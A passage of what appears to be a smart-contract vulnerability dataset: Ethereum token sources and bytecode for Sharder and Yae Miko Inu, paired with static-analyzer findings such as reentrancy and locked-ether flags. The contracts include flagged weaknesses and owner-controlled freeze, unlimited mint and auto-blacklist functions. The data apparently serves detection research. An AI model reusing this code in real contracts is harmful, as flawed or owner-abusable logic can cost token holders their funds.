a6957613a68613a74565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613efb8161393c565b8114613f0657600080fd5b50565b613f128161394e565b8114613f1d57600080fd5b50565b613f298161397a565b8114613f3457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220698492e275226028129e86fe002f0919764838aefddf1e69e2e11f10d154777c64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
6,909
0xbbff862d906e348e9946bfb2132ecb157da3d4b4
/* Copyright 2017 Sharder Foundation. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ################ Sharder-Token-v2.0 ############### a) Added an emergency transfer function to transfer tokens to the contract owner. b) Removed crowdsale logic according to the MintToken standard to improve neatness and legibility of the token contract. c) Added the 'Frozen' broadcast event. d) Changed name, symbol, decimal, etc, parameters to lower-case according to the convention. Adjust format parameters. e) Added a global parameter to the smart contact to prevent exchanges trading Sharder tokens before officially partnering. f) Added address mapping to facilitate the exchange of current ERC-20 tokens to the Sharder Chain token when it goes live. g) Added Lockup and lock-up query functionality. Sharder-Token-v1.0 has expired. The deprecated code is available in the sharder-token-v1.0' branch. */ pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Add two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } } /** * @title Sharder Token v2.0. SS (Sharder) is an upgrade from SS (Sharder Storage). * @author Ben-<xy@sharder.org>, Community Contributor: Nick Parrin-<parrin@protonmail.com> * @dev ERC-20: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md */ contract SharderToken { using SafeMath for uint256; string public name = "Sharder"; string public symbol = "SS"; uint8 public decimals = 18; /// +--------------------------------------------------------------+ /// | SS (Sharder) Token Issue Plan | /// +--------------------------------------------------------------+ /// | First Round (Crowdsale) | /// +--------------------------------------------------------------+ /// | Total Sale | Airdrop | Community Reserve | /// +--------------------------------------------------------------+ /// | 250,000,000 | 50,000,000 | 50,000,000 | /// +--------------------------------------------------------------+ /// | Team Reserve (50,000,000 SS): Issue in 3 year period | /// +--------------------------------------------------------------+ /// | System Reward (100,000,000 SS): Reward by Sharder Chain Auto | /// +--------------------------------------------------------------+ // Total Supply of Sharder Tokens uint256 public totalSupply = 350000000000000000000000000; // Multi-dimensional mapping to keep allow transfers between addresses mapping (address => mapping (address => uint256)) public allowance; // Mapping to retrieve balance of a specific address mapping (address => uint256) public balanceOf; /// The owner of contract address public owner; /// The admin account of contract address public admin; // Mapping of addresses that are locked up mapping (address => bool) internal accountLockup; // Mapping that retrieves the current lockup time for a specific address mapping (address => uint256) public accountLockupTime; // Mapping of addresses that are frozen mapping (address => bool) public frozenAccounts; // Mapping of holder addresses (index) mapping (address => uint256) internal holderIndex; // Array of holder addressses address[] internal holders; ///First round tokens whether isssued. bool internal firstRoundTokenIssued = false; /// Contract pause state bool public paused = true; /// Issue event index starting from 0. uint256 internal issueIndex = 0; // Emitted when a function is invocated without the specified preconditions. event InvalidState(bytes msg); // This notifies clients about the token issued. event Issue(uint256 issueIndex, address addr, uint256 ethAmount, uint256 tokenAmount); // This notifies clients about the amount to transfer event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount to approve event Approval(address indexed owner, address indexed spender, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); // This notifies clients about the account frozen event FrozenFunds(address target, bool frozen); // This notifies clients about the pause event Pause(); // This notifies clients about the unpause event Unpause(); /* * MODIFIERS */ modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyAdmin { require(msg.sender == owner || msg.sender == admin); _; } /** * @dev Modifier to make a function callable only when account not frozen. */ modifier isNotFrozen { require(frozenAccounts[msg.sender] != true && now > accountLockupTime[msg.sender]); _; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier isNotPaused() { require((msg.sender == owner && paused) || (msg.sender == admin && paused) || !paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier isPaused() { require(paused); _; } /** * @dev Internal transfer, only can be called by this contract * @param _from The address to transfer from. * @param _to The address to transfer to. * @param _value The amount to transfer between addressses. */ function _transfer(address _from, address _to, uint256 _value) internal isNotFrozen isNotPaused { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint256 previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; // Update Token holders addOrUpdateHolder(_from); addOrUpdateHolder(_to); // Send the Transfer Event Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * @dev Transfer to a specific address * @param _to The address to transfer to. * @param _transferTokensWithDecimal The amount to be transferred. */ function transfer(address _to, uint256 _transferTokensWithDecimal) public { _transfer(msg.sender, _to, _transferTokensWithDecimal); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _transferTokensWithDecimal uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _transferTokensWithDecimal) public isNotFrozen isNotPaused returns (bool success) { require(_transferTokensWithDecimal <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _transferTokensWithDecimal; _transfer(_from, _to, _transferTokensWithDecimal); return true; } /** * @dev Allows `_spender` to spend no more (allowance) than `_approveTokensWithDecimal` tokens in your behalf * * !!Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address authorized to spend. * @param _approveTokensWithDecimal the max amount they can spend. */ function approve(address _spender, uint256 _approveTokensWithDecimal) public isNotFrozen isNotPaused returns (bool success) { allowance[msg.sender][_spender] = _approveTokensWithDecimal; Approval(msg.sender, _spender, _approveTokensWithDecimal); return true; } /** * @dev Destroy tokens and remove `_value` tokens from the system irreversibly * @param _burnedTokensWithDecimal The amount of tokens to burn. !!IMPORTANT is 18 DECIMALS */ function burn(uint256 _burnedTokensWithDecimal) public isNotFrozen isNotPaused returns (bool success) { require(balanceOf[msg.sender] >= _burnedTokensWithDecimal); /// Check if the sender has enough balanceOf[msg.sender] -= _burnedTokensWithDecimal; /// Subtract from the sender totalSupply -= _burnedTokensWithDecimal; Burn(msg.sender, _burnedTokensWithDecimal); return true; } /** * @dev Destroy tokens (`_value`) from the system irreversibly on behalf of `_from`. * @param _from The address of the sender. * @param _burnedTokensWithDecimal The amount of tokens to burn. !!! IMPORTANT is 18 DECIMALS */ function burnFrom(address _from, uint256 _burnedTokensWithDecimal) public isNotFrozen isNotPaused returns (bool success) { require(balanceOf[_from] >= _burnedTokensWithDecimal); /// Check if the targeted balance is enough require(_burnedTokensWithDecimal <= allowance[_from][msg.sender]); /// Check allowance balanceOf[_from] -= _burnedTokensWithDecimal; /// Subtract from the targeted balance allowance[_from][msg.sender] -= _burnedTokensWithDecimal; /// Subtract from the sender's allowance totalSupply -= _burnedTokensWithDecimal; Burn(_from, _burnedTokensWithDecimal); return true; } /** * @dev Add holder address into `holderIndex` mapping and to the `holders` array. * @param _holderAddr The address of the holder */ function addOrUpdateHolder(address _holderAddr) internal { // Check and add holder to array if (holderIndex[_holderAddr] == 0) { holderIndex[_holderAddr] = holders.length++; holders[holderIndex[_holderAddr]] = _holderAddr; } } /** * CONSTRUCTOR * @dev Initialize the Sharder Token v2.0 */ function SharderToken() public { owner = msg.sender; admin = msg.sender; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); owner = _newOwner; } /** * @dev Set admin account to manage contract. */ function setAdmin(address _address) public onlyOwner { admin = _address; } /** * @dev Issue first round tokens to `owner` address. */ function issueFirstRoundToken() public onlyOwner { require(!firstRoundTokenIssued); balanceOf[owner] = balanceOf[owner].add(totalSupply); Issue(issueIndex++, owner, 0, totalSupply); addOrUpdateHolder(owner); firstRoundTokenIssued = true; } /** * @dev Issue tokens for reserve. * @param _issueTokensWithDecimal The amount of reserve tokens. !!IMPORTANT is 18 DECIMALS */ function issueReserveToken(uint256 _issueTokensWithDecimal) onlyOwner public { balanceOf[owner] = balanceOf[owner].add(_issueTokensWithDecimal); totalSupply = totalSupply.add(_issueTokensWithDecimal); Issue(issueIndex++, owner, 0, _issueTokensWithDecimal); } /** * @dev Freeze or Unfreeze an address * @param _address address that will be frozen or unfrozen * @param _frozenStatus status indicating if the address will be frozen or unfrozen. */ function changeFrozenStatus(address _address, bool _frozenStatus) public onlyAdmin { frozenAccounts[_address] = _frozenStatus; } /** * @dev Lockup account till the date. Can't lock-up again when this account locked already. * 1 year = 31536000 seconds, 0.5 year = 15768000 seconds */ function lockupAccount(address _address, uint256 _lockupSeconds) public onlyAdmin { require((accountLockup[_address] && now > accountLockupTime[_address]) || !accountLockup[_address]); // lock-up account accountLockupTime[_address] = now + _lockupSeconds; accountLockup[_address] = true; } /** * @dev Get the cuurent SS holder count. */ function getHolderCount() public view returns (uint256 _holdersCount){ return holders.length - 1; } /** * @dev Get the current SS holder addresses. */ function getHolders() public onlyAdmin view returns (address[] _holders){ return holders; } /** * @dev Pause the contract by only the owner. Triggers Pause() Event. */ function pause() onlyAdmin isNotPaused public { paused = true; Pause(); } /** * @dev Unpause the contract by only he owner. Triggers the Unpause() Event. */ function unpause() onlyAdmin isPaused public { paused = false; Unpause(); } /** * @dev Change the symbol attribute of the contract by the Owner. * @param _symbol Short name of the token, symbol. */ function setSymbol(string _symbol) public onlyOwner { symbol = _symbol; } /** * @dev Change the name attribute of the contract by the Owner. * @param _name Name of the token, full name. */ function setName(string _name) public onlyOwner { name = _name; } /// @dev This default function rejects anyone to purchase the SS (Sharder) token. Crowdsale has finished. function() public payable { revert(); } }
0x6060604052600436106101695763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461016e578063095ea7b3146101f85780630a968d5e1461022e57806315e0d7d11461024357806318160ddd1461027457806323b872dd14610287578063313ce567146102af578063397b90a5146102d85780633f4ba83a146102ee57806342966c68146103015780635c975abb146103175780635fe8e7cc1461032a578063704b6c021461039057806370a08231146103af5780637136982b146103ce57806379cc6790146103e1578063831064b3146104035780638456cb5914610427578063860838a51461043a5780638da5cb5b1461045957806395d89b4114610488578063a9059cbb1461049b578063aa8acdfd146104bd578063b84c8246146104df578063c47f002714610530578063dd62ed3e14610581578063f2fde38b146105a6578063f851a440146105c5575b600080fd5b341561017957600080fd5b6101816105d8565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101bd5780820151838201526020016101a5565b50505050905090810190601f1680156101ea5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020357600080fd5b61021a600160a060020a0360043516602435610676565b604051901515815260200160405180910390f35b341561023957600080fd5b61024161079d565b005b341561024e57600080fd5b610262600160a060020a03600435166108a4565b60405190815260200160405180910390f35b341561027f57600080fd5b6102626108b6565b341561029257600080fd5b61021a600160a060020a03600435811690602435166044356108bc565b34156102ba57600080fd5b6102c26109ef565b60405160ff909116815260200160405180910390f35b34156102e357600080fd5b6102416004356109f8565b34156102f957600080fd5b610241610ae2565b341561030c57600080fd5b61021a600435610b67565b341561032257600080fd5b61021a610cb0565b341561033557600080fd5b61033d610cbe565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561037c578082015183820152602001610364565b505050509050019250505060405180910390f35b341561039b57600080fd5b610241600160a060020a0360043516610d5d565b34156103ba57600080fd5b610262600160a060020a0360043516610da7565b34156103d957600080fd5b610262610db9565b34156103ec57600080fd5b61021a600160a060020a0360043516602435610dc3565b341561040e57600080fd5b610241600160a060020a03600435166024351515610f5d565b341561043257600080fd5b610241610fbe565b341561044557600080fd5b61021a600160a060020a036004351661109f565b341561046457600080fd5b61046c6110b4565b604051600160a060020a03909116815260200160405180910390f35b341561049357600080fd5b6101816110c3565b34156104a657600080fd5b610241600160a060020a036004351660243561112e565b34156104c857600080fd5b610241600160a060020a036004351660243561113d565b34156104ea57600080fd5b61024160046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061121695505050505050565b341561053b57600080fd5b61024160046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061124495505050505050565b341561058c57600080fd5b610262600160a060020a0360043581169060243516611272565b34156105b157600080fd5b610241600160a060020a036004351661128f565b34156105d057600080fd5b61046c6112ee565b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561066e5780601f106106435761010080835404028352916020019161066e565b820191906000526020600020905b81548152906001019060200180831161065157829003601f168201915b505050505081565b600160a060020a0333166000908152600a602052604081205460ff1615156001148015906106bb5750600160a060020a03331660009081526009602052604090205442115b15156106c657600080fd5b60065433600160a060020a0390811691161480156106eb5750600d54610100900460ff165b80610716575060075433600160a060020a0390811691161480156107165750600d54610100900460ff165b806107295750600d54610100900460ff16155b151561073457600080fd5b600160a060020a03338116600081815260046020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60065433600160a060020a039081169116146107b857600080fd5b600d5460ff16156107c857600080fd5b600354600654600160a060020a03166000908152600560205260409020546107f59163ffffffff6112fd16565b60068054600160a060020a0390811660009081526005602052604080822094909455600e80546001810190915592546003547fe316e9c07bf6ee91102f762d73f95b6cab9dcc157278814c7408906855c6a3a69591909316929051938452600160a060020a03909216602084015260408084019190915260608301919091526080909101905180910390a160065461089590600160a060020a0316611313565b600d805460ff19166001179055565b60096020526000908152604090205481565b60035481565b600160a060020a0333166000908152600a602052604081205460ff1615156001148015906109015750600160a060020a03331660009081526009602052604090205442115b151561090c57600080fd5b60065433600160a060020a0390811691161480156109315750600d54610100900460ff165b8061095c575060075433600160a060020a03908116911614801561095c5750600d54610100900460ff165b8061096f5750600d54610100900460ff16155b151561097a57600080fd5b600160a060020a03808516600090815260046020908152604080832033909416835292905220548211156109ad57600080fd5b600160a060020a03808516600090815260046020908152604080832033909416835292905220805483900390556109e58484846113a8565b5060019392505050565b60025460ff1681565b60065433600160a060020a03908116911614610a1357600080fd5b600654600160a060020a0316600090815260056020526040902054610a3e908263ffffffff6112fd16565b600654600160a060020a0316600090815260056020526040902055600354610a6c908263ffffffff6112fd16565b600355600e8054600181019091556006547fe316e9c07bf6ee91102f762d73f95b6cab9dcc157278814c7408906855c6a3a69190600160a060020a0316600084604051938452600160a060020a03909216602084015260408084019190915260608301919091526080909101905180910390a150565b60065433600160a060020a0390811691161480610b0d575060075433600160a060020a039081169116145b1515610b1857600080fd5b600d54610100900460ff161515610b2e57600080fd5b600d805461ff00191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600160a060020a0333166000908152600a602052604081205460ff161515600114801590610bac5750600160a060020a03331660009081526009602052604090205442115b1515610bb757600080fd5b60065433600160a060020a039081169116148015610bdc5750600d54610100900460ff165b80610c07575060075433600160a060020a039081169116148015610c075750600d54610100900460ff165b80610c1a5750600d54610100900460ff16155b1515610c2557600080fd5b600160a060020a03331660009081526005602052604090205482901015610c4b57600080fd5b600160a060020a03331660008181526005602052604090819020805485900390556003805485900390557fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a2506001919050565b600d54610100900460ff1681565b610cc661158a565b60065433600160a060020a0390811691161480610cf1575060075433600160a060020a039081169116145b1515610cfc57600080fd5b600c805480602002602001604051908101604052809291908181526020018280548015610d5257602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610d34575b505050505090505b90565b60065433600160a060020a03908116911614610d7857600080fd5b6007805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60056020526000908152604090205481565b600c546000190190565b600160a060020a0333166000908152600a602052604081205460ff161515600114801590610e085750600160a060020a03331660009081526009602052604090205442115b1515610e1357600080fd5b60065433600160a060020a039081169116148015610e385750600d54610100900460ff165b80610e63575060075433600160a060020a039081169116148015610e635750600d54610100900460ff165b80610e765750600d54610100900460ff16155b1515610e8157600080fd5b600160a060020a03831660009081526005602052604090205482901015610ea757600080fd5b600160a060020a0380841660009081526004602090815260408083203390941683529290522054821115610eda57600080fd5b600160a060020a038084166000818152600560209081526040808320805488900390556004825280832033909516835293905282902080548590039055600380548590039055907fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a250600192915050565b60065433600160a060020a0390811691161480610f88575060075433600160a060020a039081169116145b1515610f9357600080fd5b600160a060020a03919091166000908152600a60205260409020805460ff1916911515919091179055565b60065433600160a060020a0390811691161480610fe9575060075433600160a060020a039081169116145b1515610ff457600080fd5b60065433600160a060020a0390811691161480156110195750600d54610100900460ff165b80611044575060075433600160a060020a0390811691161480156110445750600d54610100900460ff165b806110575750600d54610100900460ff16155b151561106257600080fd5b600d805461ff0019166101001790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600a6020526000908152604090205460ff1681565b600654600160a060020a031681565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561066e5780601f106106435761010080835404028352916020019161066e565b6111393383836113a8565b5050565b60065433600160a060020a0390811691161480611168575060075433600160a060020a039081169116145b151561117357600080fd5b600160a060020a03821660009081526008602052604090205460ff1680156111b25750600160a060020a03821660009081526009602052604090205442115b806111d65750600160a060020a03821660009081526008602052604090205460ff16155b15156111e157600080fd5b600160a060020a039091166000908152600960209081526040808320429094019093556008905220805460ff19166001179055565b60065433600160a060020a0390811691161461123157600080fd5b600181805161113992916020019061159c565b60065433600160a060020a0390811691161461125f57600080fd5b600081805161113992916020019061159c565b600460209081526000928352604080842090915290825290205481565b60065433600160a060020a039081169116146112aa57600080fd5b600160a060020a03811615156112bf57600080fd5b6006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600754600160a060020a031681565b60008282018381101561130c57fe5b9392505050565b600160a060020a0381166000908152600b602052604090205415156113a557600c805490611344906001830161161a565b600160a060020a0382166000908152600b60205260409020819055600c8054839290811061136e57fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555b50565b600160a060020a0333166000908152600a602052604081205460ff1615156001148015906113ed5750600160a060020a03331660009081526009602052604090205442115b15156113f857600080fd5b60065433600160a060020a03908116911614801561141d5750600d54610100900460ff165b80611448575060075433600160a060020a0390811691161480156114485750600d54610100900460ff165b8061145b5750600d54610100900460ff16155b151561146657600080fd5b600160a060020a038316151561147b57600080fd5b600160a060020a038416600090815260056020526040902054829010156114a157600080fd5b600160a060020a038316600090815260056020526040902054828101116114c757600080fd5b50600160a060020a03808316600081815260056020526040808220805494881683529082208054868103909155929091528054840190550161150884611313565b61151183611313565b82600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a3600160a060020a0380841660009081526005602052604080822054928716825290205401811461158457fe5b50505050565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106115dd57805160ff191683800117855561160a565b8280016001018555821561160a579182015b8281111561160a5782518255916020019190600101906115ef565b50611616929150611643565b5090565b81548183558181151161163e5760008381526020902061163e918101908301611643565b505050565b610d5a91905b8082111561161657600081556001016116495600a165627a7a72305820a1a794f615e82f408193368a8be60ae2e24489dbe74d625d3437788095fe5f1f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
6,910
0x55f172c4e315576c84a9afe1388fc6094e2a7c04
/** *Submitted for verification at Etherscan.io on 2022-02-18 */ /** *Submitted for verification at Etherscan.io on 2022-02-18 */ /** Yae Miko Inu -- $YAMI Telegram: https://t.me/YaeMikoInuEntry Website: https://www.yeamiko.com/ Twitter: https://twitter.com/YaeMikoInu */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract YaeMikoInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Yae Miko Inu";// string private constant _symbol = "YAMI";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 10;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 14;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xE9fD72a27f1E8187f2Ab69768fF36D4d7D368330);// address payable private _marketingAddress = payable(0x58B5bb77E577784020Ec70Db1e52da891aBaA124);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1500000000 * 10**9; // uint256 public _maxWalletSize = 3000000000 * 10**9; // uint256 public _swapTokensAtAmount = 1000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= 